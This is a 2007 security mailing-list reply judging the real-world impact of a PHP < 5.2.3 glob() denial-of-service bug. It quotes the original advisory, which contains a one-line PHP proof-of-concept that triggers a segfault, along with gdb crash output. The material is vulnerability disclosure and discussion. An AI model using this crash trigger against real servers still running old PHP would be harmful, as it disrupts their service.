Re: PHP < 5.2.3 glob() denial of service

["Jonathan Yu" <jonathan.i.yu () gmail com>]

Hi there,

I haven't used PHP in a long while and I am by no means an expert.

I think that this type of attack is mitigated by the fact that PHP
doesn't support threading (more accurately, PHP modules don't support
threading) - it isn't thread-safe. Thus, if you are running PHP as CGI
or even a module within Apache, it will only crash the PHP CGI or the
Apache child process (since you have to use prefork)...

These are serious bugs to be sure, but given the above, in the "real
world" I don't think that this could cause too many problems.

Jon

On 4 Sep 2007 21:05:51 -0000, laurent.gaffie () gmail com
<laurent.gaffie () gmail com> wrote:
> Application: PHP < 5.2.3
> Web Site: http://php.net
> Platform: unix
> Bug: denial of service
> fonction: glob()
> special condition:default php memory-limit value
> ===========
>
> 1) Introduction
> 2) Bug
> 3) Proof of concept
> 4) greets
> 5) Credits
> ===========
> 1) Introduction
> ===========
>
> "PHP  is a widely-used general-purpose scripting language that
> is especially suited for Web development and can be embedded into HTML."
>
> ======
> 2) Bug
> ======
>
> glob() is vulnerable to a denial of service
>
> =====
> 3)Proof of concept
> =====
>
> Proof of concept example :
> <?php
> glob(str_repeat("A", 9638013));
> ?>
>
> result:
> (gdb) run ./3.php
>
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread -1215031616 (LWP 11156)]
> 0xb79d3a5a in globfree () from /lib/tls/i686/cmov/libc.so.6
>
>
> ========
> 4)Greets
> ========
> Ivanlef0u,Deimos,benji,soh
> ,and everyones on worldnet: #futurezone &
> #nibbles
>
> =====
> 5)Credits
> =====
>
> Laurent gaffie
> contact : laurent.gaffie () gmail com
> stay tuned, site comming soon ....